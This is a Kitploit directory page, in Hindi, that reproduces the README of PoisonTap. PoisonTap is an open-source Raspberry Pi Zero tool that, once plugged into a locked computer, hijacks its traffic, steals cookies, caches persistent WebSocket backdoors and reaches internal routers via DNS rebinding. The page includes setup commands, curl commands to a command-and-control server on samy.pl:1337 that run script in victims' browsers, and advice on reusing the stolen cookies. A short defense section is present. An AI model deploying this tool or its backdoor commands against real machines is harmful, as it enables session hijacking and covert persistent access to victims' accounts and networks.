Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
poisontap — USB के माध्यम से लॉक/पासवर्ड-संरक्षित कंप्यूटरों का शोषण करता है, स्थायी WebSocket-आधारित बैकडोर स्थापित करता है, आंतरिक राउटर को उजागर करता है, और Raspberry Pi Zero एवं Node.js का उपयोग करके कुकीज़ चुराता है। | Kitploit
उपकरण/GitHubGitHub/samyk/poisontap
स्थायित्व तंत्रशोषणपार्श्व आंदोलनडेटा निष्कासनपोस्ट-शोषणवेब सुरक्षाकमांड एंड कंट्रोलप्रमाणीकरणरेड टीमिंगरिमोट एक्सेस टूल
GitHubsamyk/poisontap

poisontap

6.5k979127 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

USB के माध्यम से लॉक/पासवर्ड-संरक्षित कंप्यूटरों का शोषण करता है, स्थायी WebSocket-आधारित बैकडोर स्थापित करता है, आंतरिक राउटर को उजागर करता है, और Raspberry Pi Zero एवं Node.js का उपयोग करके कुकीज़ चुराता है।

रिपॉजिटरी देखेंवेबसाइट
साझा करें

PoisonTap - लॉक किए गए कंप्यूटरों से कुकीज़ चुराता है, आंतरिक राउटर उजागर करता है और वेब बैकडोर इंस्टॉल करता है

निर्माता: @SamyKamkar || https://samy.pl

जब PoisonTap (Raspberry Pi Zero और Node.js) को लॉक/पासवर्ड-संरक्षित कंप्यूटर में प्लग किया जाता है, तो यह:

  • USB (या Thunderbolt) पर एक Ethernet डिवाइस का अनुकरण करता है
  • मशीन से सभी इंटरनेट ट्रैफ़िक का अपहरण कर लेता है (कम प्राथमिकता/अज्ञात नेटवर्क इंटरफ़ेस होने के बावजूद)
  • Alexa के शीर्ष 1,000,000 वेबसाइटों के लिए वेब ब्राउज़र से HTTP कुकीज़ और सत्रों को चुराकर संग्रहीत करता है
  • आंतरिक राउटर को हमलावर के सामने उजागर करता है, जिससे यह आउटबाउंड WebSocket और DNS रीबाइंडिंग के माध्यम से दूरस्थ रूप से सुलभ हो जाता है (रीबाइंडिंग विचार के लिए Matt Austin का धन्यवाद!)
  • सैकड़ों हजारों डोमेन और सामान्य Javascript CDN URLs के लिए HTTP कैश में एक स्थायी वेब-आधारित बैकडोर इंस्टॉल करता है—इन सभी तक कैश पॉइज़निंग के माध्यम से उपयोगकर्ता की कुकीज़ तक पहुंच होती है
  • हमलावर को दूरस्थ रूप से उपयोगकर्ता को HTTP अनुरोध करने और किसी भी बैकडोर वाले डोमेन पर उपयोगकर्ता की कुकीज़ के साथ प्रतिक्रियाओं (GET और POSTs) को वापस प्रॉक्सी करने के लिए बाध्य करने की अनुमति देता है
  • मशीन को अनलॉक करने की आवश्यकता नहीं होती
  • बैकडोर और दूरस्थ पहुंच डिवाइस हटाए जाने के बाद भी बनी रहती है, जब हमलावर चला जाता है
  • PoisonTap

    (Ara द्वारा अविश्वसनीय HTML5 canvas एनिमेशन)

    PoisonTap निम्नलिखित सुरक्षा तंत्रों को दरकिनार कर देता है:

    • पासवर्ड-संरक्षित लॉक स्क्रीन
    • रूटिंग टेबल प्राथमिकता और नेटवर्क इंटरफ़ेस सेवा क्रम
    • समान-उत्पत्ति नीति (Same-Origin Policy)
    • X-Frame-Options
    • HttpOnly कुकीज़
    • SameSite कुकी विशेषता
    • दो-कारक/बहु-कारक प्रमाणीकरण (2FA/MFA)
    • DNS पिनिंग
    • क्रॉस-ऑरिजिन रिसोर्स शेयरिंग (CORS)
    • HTTPS कुकी सुरक्षा जब Secure कुकी फ्लैग और HSTS सक्षम न हों

    डेमो

    PoisonTap $5 वाले Raspberry Pi Zero के लिए बनाया गया है, जिसमें micro-USB केबल और microSD कार्ड के अलावा कोई अतिरिक्त घटक नहीं चाहिए; यह Ethernet-to-USB/Thunderbolt डोंगल के साथ किसी भी Raspberry Pi (1/2/3) पर काम कर सकता है, या अन्य डिवाइसों पर भी काम कर सकता है जो USB गैजेट का अनुकरण कर सकते हैं, जैसे USB Armory और LAN Turtle।

    लाइव प्रदर्शन और अधिक विवरण वीडियो में उपलब्ध हैं: MagSpoof

    संपर्क बिंदु: @SamyKamkar // https://samy.pl

    रिलीज़: 16 नवंबर, 2016

    सोर्स कोड और डाउनलोड: https://github.com/samyk/poisontap


    PoisonTap कैसे काम करता है

    PoisonTap मशीन और नेटवर्क के विभिन्न तंत्रों—जिनमें USB/Thunderbolt, DHCP, DNS और HTTP शामिल हैं—में मौजूद विश्वास का फायदा उठाकर एक कैस्केडिंग प्रभाव उत्पन्न करता है, जिससे सूचना बहिर्गमन, नेटवर्क पहुंच और अर्ध-स्थायी बैकडोर की स्थापना का स्नोबॉल प्रभाव बनता है।

    Network Hijacking

    संक्षेप में, PoisonTap निम्नलिखित कार्य करता है:

    नेटवर्क अपहरण

    • हमलावर PoisonTap (जैसे हथियारबंद Raspberry Pi Zero) को लॉक किए गए कंप्यूटर में प्लग करता है (भले ही कंप्यूटर पासवर्ड-संरक्षित हो)
    • PoisonTap एक Ethernet डिवाइस का अनुकरण करता है (जैसे, USB/Thunderbolt पर Ethernet) -- डिफ़ॉल्ट रूप से, Windows, OS X और Linux एक Ethernet डिवाइस को पहचानते हैं, उसे स्वचालित रूप से कम-प्राथमिकता वाले नेटवर्क डिवाइस के रूप में लोड करते हैं और उस पर DHCP अनुरोध करते हैं, तब भी जब मशीन लॉक या पासवर्ड-संरक्षित हो
    • PoisonTap DHCP अनुरोध का जवाब देता है और मशीन को एक IP पता प्रदान करता है, हालाँकि DHCP प्रतिक्रिया इस प्रकार तैयार की जाती है कि मशीन को बताया जाए कि संपूर्ण IPv4 स्पेस (0.0.0.0 - 255.255.255.255) PoisonTap के स्थानीय नेटवर्क का हिस्सा है, न कि केवल एक छोटा सबनेट (जैसे 192.168.0.0 - 192.168.0.255)
      • सामान्यतः यदि कोई द्वितीयक नेटवर्क डिवाइस मशीन से जुड़ता है तो यह अप्रासंगिक होता है, क्योंकि इसे मौजूदा (विश्वसनीय) नेटवर्क डिवाइस की तुलना में कम प्राथमिकता दी जाएगी और यह इंटरनेट ट्रैफ़िक के लिए गेटवे को प्रतिस्थापित नहीं करेगा, लेकिन...
      • किसी भी रूटिंग टेबल / गेटवे प्राथमिकता / नेटवर्क इंटरफ़ेस सेवा क्रम सुरक्षा को "LAN ट्रैफ़िक" की "इंटरनेट ट्रैफ़िक" पर प्राथमिकता के कारण दरकिनार कर दिया जाता है
      • PoisonTap इस नेटवर्क पहुंच का फायदा उठाता है, भले ही वह कम प्राथमिकता वाला नेटवर्क डिवाइस हो, क्योंकि कम प्राथमिकता वाले नेटवर्क डिवाइस के सबनेट को उच्चतम प्राथमिकता वाले नेटवर्क डिवाइस के गेटवे (डिफ़ॉल्ट रूट) की तुलना में अधिक प्राथमिकता दी जाती है
      • इसका मतलब है कि यदि ट्रैफ़िक 1.2.3.4 के लिए है, जबकि सामान्यतः यह ट्रैफ़िक प्राथमिक (गैर-PoisonTap) नेटवर्क डिवाइस के डिफ़ॉल्ट रूट/गेटवे से टकराता है, तो वास्तव में PoisonTap को ट्रैफ़िक मिलता है, क्योंकि PoisonTap का "स्थानीय" नेटवर्क/सबनेट माना जाता है कि इसमें 1.2.3.4 और बाकी सभी मौजूदा IP पते शामिल हैं ;)
      • इसी कारण, सभी इंटरनेट ट्रैफ़िक PoisonTap से होकर गुजरता है, भले ही मशीन उच्च प्राथमिकता और उचित गेटवे (वास्तविक wifi, ethernet, आदि) वाले किसी अन्य नेटवर्क डिवाइस से जुड़ी हो

    Cookie Siphoning

    कुकी साइफनिंग

    • जब तक वेब ब्राउज़र बैकग्राउंड में चल रहा है, यह संभावना है कि खुले पृष्ठों में से कोई एक AJAX या डायनामिक script/iframe टैग के माध्यम से बैकग्राउंड में HTTP अनुरोध करेगा (उदाहरण के लिए, नया विज्ञापन लोड करना, किसी एनालिटिक्स प्लेटफ़ॉर्म को डेटा भेजना, या केवल आपकी वेब गतिविधियों को ट्रैक करना जारी रखना)
      • आप इसे स्वयं देख सकते हैं—अपने devtools/inspector (सामान्यतः Cmd+Shift+I या Ctrl+Shift+I) में जाएं, किसी अधिक देखी जाने वाली वेबसाइट पर जाएं, Network टैब पर क्लिक करें, और देखें कि पृष्ठ पर कोई कार्रवाई न करने पर भी दूरस्थ संसाधनों तक पहुंच जारी रहती है
    • इस HTTP अनुरोध पर, चूंकि सारा ट्रैफ़िक PoisonTap डिवाइस से होकर बाहर निकलता है, PoisonTap मौके पर ही DNS स्पूफिंग करके अपना स्वयं का पता लौटाता है, जिससे HTTP अनुरोध PoisonTap वेब सर्वर (Node.js) पर पहुंचता है
      • यदि DNS सर्वर किसी आंतरिक IP (LAN) की ओर इंगित कर रहा है जिसके लिए PoisonTap विशेषाधिकार प्राप्त नहीं कर सकता, तो हमला कार्य करता रहता है, क्योंकि आंतरिक DNS सर्वर विभिन्न हमलावर डोमेनों के लिए सार्वजनिक IP पते उत्पन्न करेगा, और ये वही सार्वजनिक IP पते हैं जिन्हें PoisonTap पहले ही अपहृत कर चुका है
      • एक बार जब आंतरिक DNS सर्वर उत्तर देता है, तो वेब ब्राउज़र सार्वजनिक IP से टकराता है, और दोनों ही परिदृश्यों में अंततः PoisonTap वेब सर्वर (Node.js) तक पहुंचता है
    • जब Node वेब सर्वर अनुरोध प्राप्त करता है, तो PoisonTap ऐसी प्रतिक्रिया देता है जिसे HTML या Javascript के रूप में व्याख्यायित किया जा सकता है, और दोनों ही ठीक से निष्पादित होती हैं (कई वेबसाइटें बैकग्राउंड अनुरोधों में HTML या JS लोड करती हैं)
    • यह HTML/JS-निरपेक्ष पृष्ठ फिर कई छिपे हुए iframes उत्पन्न करता है, जिनमें से प्रत्येक iframe एक अलग Alexa-टॉप-1-मिलियन डोमेन पर होता है
      • डोमेन पर कोई भी "X-Frame-Options" सुरक्षा दरकिनार कर दी जाती है, क्योंकि PoisonTap अब HTTP सर्वर है और यह तय करता है कि क्लाइंट को कौन से हेडर भेजे जाएं
      • जैसे ही साइट पर प्रत्येक iframe HTTP अनुरोध किया जाता है (जैसे, http://nfl.com/PoisonTap), HTTP कुकीज़ ब्राउज़र से PoisonTap द्वारा अपहृत "सार्वजनिक IP" पर भेजी जाती हैं, जो तुरंत कुकीज़/प्रमाणीकरण जानकारी लॉग करता है, उपयोगकर्ता की दसियों हजार कुकीज़ को PoisonTap में लॉग करता है
      • कोई भी "HttpOnly" कुकी सुरक्षा दरकिनार कर दी जाती है और वे कुकीज़ कैप्चर कर ली जाती हैं, क्योंकि डोमेन पर कोई Javascript निष्पादित नहीं किया जाता, बल्कि इसका उपयोग केवल उस iframe को लोड करने के लिए किया जाता है
      • कोई भी Cross-Origin Resource Sharing या Same-Origin Policy सुरक्षा दरकिनार कर दी जाती है, क्योंकि एक्सेस किया जा रहा डोमेन ब्राउज़र को वैध प्रतीत होता है
      • चूंकि हम क्रेडेंशियल के बजाय कुकीज़ कैप्चर कर रहे हैं, इसलिए जब हमलावर लॉगिन के लिए कुकी का उपयोग करता है तो साइट पर लागू कोई भी 2FA/MFA दरकिनार हो जाता है। ऐसा इसलिए है क्योंकि हम वास्तव में लॉगिन कार्य नहीं कर रहे हैं, बल्कि पहले से लॉग इन सत्र को जारी रख रहे हैं, जो दो-कारक प्रमाणीकरण को ट्रिगर नहीं करता
      • यदि सर्वर HTTPS का उपयोग कर रहा है, लेकिन कुकीज़ स्पष्ट रूप से Secure कुकी फ्लैग सेट नहीं करती हैं, तो HTTPS सुरक्षा दरकिनार हो जाती है और कुकी PoisonTap को भेज दी जाती है

    Internal Router Backdoor

    दूरस्थ रूप से सुलभ वेब-आधारित बैकडोर

    • जबकि PoisonTap हजारों iframes उत्पन्न कर रहा था, ब्राउज़र को उनमें से प्रत्येक को लोड करने के लिए बाध्य कर रहा था, ये iframes बिल्कुल भी खाली पृष्ठ नहीं हैं, बल्कि HTML+Javascript बैकडोर हैं जो अनिश्चित काल तक कैश रहते हैं
    • चूंकि PoisonTap इन बैकडोरों को प्रत्येक डोमेन पर बलपूर्वक कैश करता है, बैकडोर उस डोमेन से जुड़ जाता है, जिससे हमलावर डोमेन की कुकीज़ का उपयोग कर सकता है और भविष्य में same-origin अनुरोध शुरू कर सकता है, भले ही उपयोगकर्ता वर्तमान में लॉग इन न हो
      • उदाहरण के लिए, जब http://nfl.com/PoisonTap iframe लोड होता है, PoisonTap मोड़े गए इंटरनेट ट्रैफ़िक को स्वीकार करता है और Node वेब सर्वर के माध्यम से HTTP अनुरोध का उत्तर देता है
      • पृष्ठ को अनिश्चित काल तक कैश करने के लिए अतिरिक्त HTTP हेडर जोड़े जाते हैं
    • पृष्ठ का वास्तविक उत्तर HTML और Javascript का एक संयोजन है, जो हमलावर के वेब सर्वर (इंटरनेट के माध्यम से, PoisonTap डिवाइस पर नहीं) तक एक स्थायी WebSocket उत्पन्न करता है
      • WebSocket खुला रहता है, जिससे हमलावर भविष्य में किसी भी समय बैकडोर वाली मशीन से पुनः जुड़ सकता है और किसी भी ऐसे origin पर अनुरोध कर सकता है जिस पर बैकडोर लागू है (Alexa के शीर्ष 1,000,000 साइटें -- नीचे देखें)
      • यदि बैकडोर एक साइट (जैसे, nfl.com) पर खोला गया है, लेकिन उपयोगकर्ता किसी भिन्न डोमेन (जैसे, pinterest.com) पर हमला करना चाहता है, तो हमलावर nfl.com पर pinterest.com बैकडोर (http://pinterest.com/PoisonTap) के लिए एक iframe लोड कर सकता है
      • फिर से, डोमेन पर कोई भी "X-Frame-Options", Cross-Origin Resource Sharing और Same-Origin Policy सुरक्षा पूरी तरह से दरकिनार कर दी जाती है, क्योंकि अनुरोध वास्तविक डोमेन के बजाय उस कैश से टकराएगा जिसे PoisonTap ने छोड़ा है

    Raspberry Pi Zero

    आंतरिक राउटर बैकडोर और दूरस्थ पहुंच

    • एकमात्र नेटवर्क जिसे PoisonTap अपहृत नहीं कर सकता, वह वास्तविक नेटवर्क इंटरफ़ेस का वास्तविक LAN सबनेट है (उदाहरण के लिए, यदि उपयोगकर्ता का wifi सबनेट 192.168.0.x है, तो यह नेटवर्क अप्रभावित रहता है), लेकिन...
    • PoisonTap एक विशेष होस्ट पर बैकडोर को बलपूर्वक कैश करता है, विशेष रूप से लक्ष्य राउटर के IP को ".ip.samy.pl" के पहले जोड़कर, जैसे 192.168.0.1.ip.samy.pl, जो अनिवार्य रूप से एक स्थायी DNS रीबाइंडिंग हमला उत्पन्न करता है
      • जब DNS सर्वर के रूप में PoisonTap का उपयोग किया जाता है (पीड़ित सार्वजनिक DNS सर्वर का उपयोग कर रहा है), PoisonTap अस्थायी रूप से विशेष PoisonTap IP (1.0.0.1) के साथ उत्तर देता है, जिसका अर्थ है कि उस समय कोई भी अनुरोध PoisonTap वेब सर्वर से टकराएगा
      • यदि इसके बजाय DNS सर्वर आंतरिक नेटवर्क (जैसे, 192.168.0.x) पर सेट है, तो 1.0.0.1**.pin.**ip.samy.pl पर एक अतिरिक्त विशेष रूप से तैयार किया गया अनुरोध किया जाता है, जो मेरे विशेष DNS सर्वर (सार्वजनिक इंटरनेट पर) को बताता है कि वह कुछ सेकंड के लिए किसी भी [ip.address].ip.samy.pl पते पर "पिन किए गए" पते (1.0.0.1) के साथ अस्थायी रूप से उत्तर दे
      • फिर PoisonTap तुरंत http://192.168.0.1.ip.samy.pl/PoisonTap पर एक बैकडोर सेट करता है, जो उस समय 1.0.0.1 पर PoisonTap डिवाइस की ओर इंगित करता है, जिससे बैकडोर को PoisonTap डिवाइस से एक्सेस और कैश किया जा सकता है
    • DNS पिनिंग और DNS रीबाइंडिंग सुरक्षा दरकिनार कर दी जाती हैं, क्योंकि अभी-अभी किए गए सैकड़ों हजारों अनुरोधों के कारण DNS पिनिंग तालिका समाप्त हो जाती है, और भविष्य में किसी रीबाइंडिंग की आवश्यकता नहीं होती, जिससे यह हमला लंबे समय तक स्थायी बना रहता है (इस हमले को मेरे साथ साझा करने के लिए Matt Austin का धन्यवाद!)
    • अब जब http://192.168.0.1.ip.samy.pl/PoisonTap पर एक बैकडोर बलपूर्वक कैश हो चुका है, तो 192.168.0.1.ip.samy.pl पर भविष्य में किए गए कोई भी अनुरोध unpinned IP पते से टकराएंगे, जिससे इसके बजाय 192.168.0.1 रिज़ॉल्व होगा, जो सीधे राउटर की ओर इंगित करेगा
    • इसका मतलब है कि यदि आप बैकडोर के माध्यम से 192.168.0.1.ip.samy.pl/PoisonTap होस्ट को दूरस्थ रूप से iframe में लोड करते हैं, तो आप अब आंतरिक राउटर पर किसी भी अन्य पृष्ठ पर AJAX GET/POSTs कर सकते हैं—पूरी तरह से दूरस्थ रूप से—जिससे आंतरिक राउटर तक दूरस्थ पहुंच संभव हो जाती है
      • इससे राउटर पर अन्य हमले हो सकते हैं, जिन तक हमलावर की शुरुआत में कभी पहुंच नहीं रही हो, जैसे DNS सर्वरों को अधिलेखित करने के लिए राउटर पर डिफ़ॉल्ट एडमिन क्रेडेंशियल का उपयोग करना, या अन्य प्रमाणीकरण कमजोरियों का उजागर होना
    DNS Rebinding

    DNS सर्वर का सारांश:

    • [ip.addy].ip.samy.pl सामान्यतः [ip.addy] के साथ उत्तर देता है
    • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A रिकॉर्ड)
    • [ip.addy].pin.ip.samy.pl अस्थायी रूप से (~5 सेकंड) *.ip.samy.pl को [ip.addy] की ओर इंगित करता है
      • 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
      • 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A रिकॉर्ड, छोटा TTL)
      • (~5 सेकंड के बाद)
      • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A रिकॉर्ड)

    अतिरिक्त दूरस्थ रूप से सुलभ वेब-आधारित बैकडोर

    • इसके अतिरिक्त, PoisonTap हजारों सामान्य, CDN-आधारित Javascript फ़ाइलों, जैसे Google और jQuery CDNs, को सही कोड के साथ-साथ एक बैकडोर के साथ प्रतिस्थापित करता है, जो हमलावर को संक्रमित CDN-आधारित Javascript फ़ाइल लोड करने वाले किसी भी डोमेन तक पहुंच प्रदान करता है
    • चूंकि प्रत्येक डोमेन पर एक बैकडोर छोड़ दिया जाता है, यह हमलावर को दूरस्थ रूप से बैकडोर वाले ब्राउज़र को लगभग किसी भी प्रमुख डोमेन पर same-origin अनुरोध (AJAX GET/POSTs) करने के लिए बाध्य करने की अनुमति देता है, भले ही पीड़ित के पास वर्तमान में उस डोमेन की कोई खुली विंडो न हो
    • जब पीड़ित किसी अतिरिक्त साइट पर जाता है जो इन संक्रमित, HTTP-आधारित, CDN Javascript फ्रेमवर्क में से किसी एक का उपयोग करती है, तो बैकडोर उस साइट पर भी सक्रिय हो जाएगा

    PoisonTap

    PoisonTap से सुरक्षा

    सर्वर-पक्ष सुरक्षा

    यदि आप वेब सर्वर चला रहे हैं, तो PoisonTap से सुरक्षा सरल है:

    • केवल HTTPS का उपयोग करें, कम से कम प्रमाणीकरण और प्रमाणित सामग्री के लिए तो अवश्य
      • सच कहें तो, आपको केवल HTTPS का उपयोग करना चाहिए और HTTP सामग्री को हमेशा HTTPS पर पुनर्निर्देशित करना चाहिए, ताकि उपयोगकर्ता को HTTP पर क्रेडेंशियल या अन्य PII प्रदान करने के लिए धोखा दिए जाने से रोका जा सके
    • सुनिश्चित करें कि कुकीज़ पर Secure फ्लैग सक्षम है, जिससे HTTPS कुकीज़ को HTTP पर लीक होने से रोका जा सके
    • दूरस्थ Javascript संसाधनों का उपयोग करते समय, Subresource Integrity script टैग विशेषता का उपयोग करें
    • HTTPS डाउनग्रेड हमलों को रोकने के लिए HSTS का उपयोग करें

    डेस्कटॉप सुरक्षा

    • अपने USB और Thunderbolt पोर्ट में सीमेंट डालना प्रभावी हो सकता है
    • जब भी आप अपनी मशीन से दूर जाएं तो अपना ब्राउज़र बंद करना काम कर सकता है, लेकिन यह पूरी तरह से अव्यावहारिक है
    • USB/Thunderbolt पोर्ट को अक्षम करना भी प्रभावी है, हालाँकि यह भी अव्यावहारिक है
    • अपने कंप्यूटर को लॉक करने का कोई प्रभाव नहीं होता, क्योंकि मशीन लॉक होने पर भी नेटवर्क और USB स्टैक कार्य करते हैं; हालाँकि, एन्क्रिप्टेड स्लीप मोड में जाना—जिसमें मेमोरी को डिक्रिप्ट करने के लिए कुंजी की आवश्यकता होती है (जैसे, FileVault2 + डीप स्लीप)—अधिकांश समस्याओं का समाधान करता है, क्योंकि आपका ब्राउज़र फिर अनुरोध नहीं करेगा, भले ही मशीन वेक हो जाए

    डाउनलोड

    सोर्स कोड: https://github.com/samyk/poisontap


    इंस्टॉलेशन / फ़ाइल विवरण

    नोट: यदि आप पाते हैं कि डिवाइस स्वचालित रूप से Ethernet नियंत्रक के रूप में कार्य नहीं कर रहा है (उदाहरण के लिए, Windows के पुराने संस्करण), तो आप pi_startup.sh में VID और PID बदल सकते हैं```bash

    Instructions adjusted from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41

    sudo bash

    If Raspbian BEFORE 2016-05-10, then run next line:

    BRANCH=next rpi-update

    echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces echo "dtoverlay=dwc2" >> /boot/config.txt echo -e "dwc2\ng_ether" >> /etc/modules sudo sed --in-place "/exit 0/d" /etc/rc.local echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local mkdir /home/pi/poisontap chown -R pi /home/pi/poisontap apt-get update && apt-get upgrade apt-get -y install isc-dhcp-server dsniff screen nodejs

    root@kitploit:~
    Place dhcpd.conf को /etc/dhcp/dhcpd.conf में और बाकी फाइलों को /home/pi/poisontap में रखें, फिर सब कुछ काम कर रहा है यह सुनिश्चित करने के लिए रिबूट करें।
    
    इस रिपॉजिटरी में <a href="https://github.com/samyk/poisontap" target=_blank>कई फाइलें</a> हैं, जिनका उपयोग विभिन्न पक्षों पर किया जाता है। सूची:
    
    * **backdoor.html** - जब भी कुकीज़ बाहर निकालने (exfiltrate) के लिए http://hostname/PoisonTap URL हिट किया जाता है, यह फ़ाइल force-cached सामग्री के रूप में लौटाई जाती है। इसमें एक बैकडोर होता है जो samy.pl:1337 (किसी भी होस्ट/पोर्ट पर समायोज्य) के लिए एक आउटबाउंड वेबसॉकेट बनाता है, जो सर्वर से कमांड की प्रतीक्षा में खुला रहता है। इसका मतलब है कि जब आप किसी साइट पर http://hostname/PoisonTap जैसे iframe लोड करते हैं, तो यही सामग्री भरी जाती है (मशीन से PoisonTap हटाए जाने के बाद भी)।
    * **backend_server.js** - यह Node.js सर्वर है जिसे आप अपने इंटरनेट-सुलभ सर्वर पर चलाते हैं। backdoor.html इसी से कनेक्ट होता है (जैसे, samy.pl:1337)। यह वही सर्वर है जिससे आप अपनी PoisonTapped मिनियन मशीनों को कमांड भेजने के लिए कनेक्ट करते हैं, जैसे```bash
    # pop alert to victim
    curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
    # to set a cookie on victim
    curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
    # to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
    curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
    
    • pi_poisontap.js - यह Raspberry Pi Zero पर Node.js के माध्यम से चलता है और यह HTTP सर्वर है जो PoisonTap द्वारा इंटरसेप्ट किए गए किसी भी HTTP अनुरोध को संभालने, चुराई गई कुकीज़ को संग्रहीत करने और कैश किए गए बैकडोर को इंजेक्ट करने के लिए जिम्मेदार है।
    • pi_startup.sh - यह Raspberry Pi Zero पर स्टार्टअप के समय चलता है ताकि डिवाइस को Ethernet-over-USB गैजेट का अनुकरण करने, हमारे evil DHCP सर्वर को सेट करने, ट्रैफिक रीरूटिंग की अनुमति देने, DNS स्पूफिंग करने और ऊपर दिए गए pi_poisontap.js को लॉन्च करने के लिए तैयार किया जा सके।
    • target_backdoor.js - यह फ़ाइल किसी भी CDN-संबंधित Javascript फ़ाइलों के आरंभ में जोड़ दी जाती है, जिससे उनमें बैकडोर जुड़ जाता है, जैसे Google CDN का jQuery URL।
    • target_injected_xhtmljs.html - यह वह कोड है जो पीड़ित की मशीन पर अनजाने/बैकग्राउंड HTTP/AJAX अनुरोधों में इंजेक्ट किया जाता है और पूरे हमले की शुरुआत करता है। इसे इस प्रकार बनाया गया है कि इसे HTML या Javascript के रूप में व्याख्यायित किया जा सके और फिर भी यह समान कोड निष्पादित करे। इसके अतिरिक्त, अद्भुत HTML5 canvas अविश्वसनीय Ara oen CodePen द्वारा निर्मित है और यह इतना अद्भुत था कि इसे शामिल न करना संभव नहीं था। जब पेज PoisonTap द्वारा अधिगृहीत कर लिया जाता है तो यही ग्राफिकल पागलपन प्रकट होता है।
    • poisontap.cookies.log - यह फ़ाइल तब उत्पन्न होती है जब उपयोगकर्ता की मशीन PoisonTap को HTTP अनुरोध भेजना शुरू करती है, और यह ब्राउज़र से कुकी के साथ-साथ उस संबद्ध URL/डोमेन को लॉग करती है जिससे वह संबंधित है।

    अक्सर पूछे जाने वाले प्रश्न

    • प्रश्न: आप बैकडोर किए जाने वाले अतिरिक्त डोमेन कैसे जोड़ते हैं?
    • उत्तर: बैकडोर किए जाने वाले डोमेन की सूची target_injected_xhtmljs.html में getDoms() फ़ंक्शन द्वारा निर्धारित की जाती है। यह स्वयं रिपॉजिटरी के रूट में स्थित alexa1m.sh स्क्रिप्ट द्वारा भरी जाती है। यदि आप इस सूची में अतिरिक्त डोमेन जोड़ना चाहते हैं, तो आप getDoms() में return कॉल को आसानी से संशोधित कर सकते हैं।
    • प्रश्न: आप कैप्चर की गई कुकीज़ का उपयोग कैसे करते हैं?
    • उत्तर: आप कुकीज़ सेट करने के लिए अपने ब्राउज़र के JavaScript कंसोल से सीधे Document.cookie API का उपयोग कर सकते हैं। यह StackOverflow पोस्ट भी कुछ Chrome-विशिष्ट सुझाव देती है, उदाहरण के लिए Cookie Inspector Chrome एक्सटेंशन।
    • प्रश्न: मैं किसी मशीन से Poisontap को कैसे साफ़ करूँ?
    • उत्तर: आपको स्थानीय OS DNS कैश के साथ-साथ सभी ब्राउज़र कैश भी साफ़ करना चाहिए। आपको उस समय के किसी भी लॉग-इन सत्र को भी अमान्य करने की आवश्यकता हो सकती है, जिनसे कुकीज़ लीक हुई हो सकती हैं। सुनिश्चित करें कि ये मौजूदा कुकीज़ को अमान्य करें, न कि केवल आपको लॉग आउट करें। (यदि आप अपनी वर्तमान मशीन पर PoisonTap डिवाइस के साथ सुरक्षित रूप से काम करना चाहते हैं, तो किसी भी ब्राउज़र से बाहर निकलना सुनिश्चित करें, फिर आप इसे अपनी मशीन से सुरक्षित रूप से कनेक्ट कर सकते हैं)।

    संपर्क

    संपर्क बिंदु: @SamyKamkar

    आप मेरे अधिक प्रोजेक्ट देख सकते हैं या मुझसे https://samy.pl पर संपर्क कर सकते हैं।

    टूल डाउनलोड करें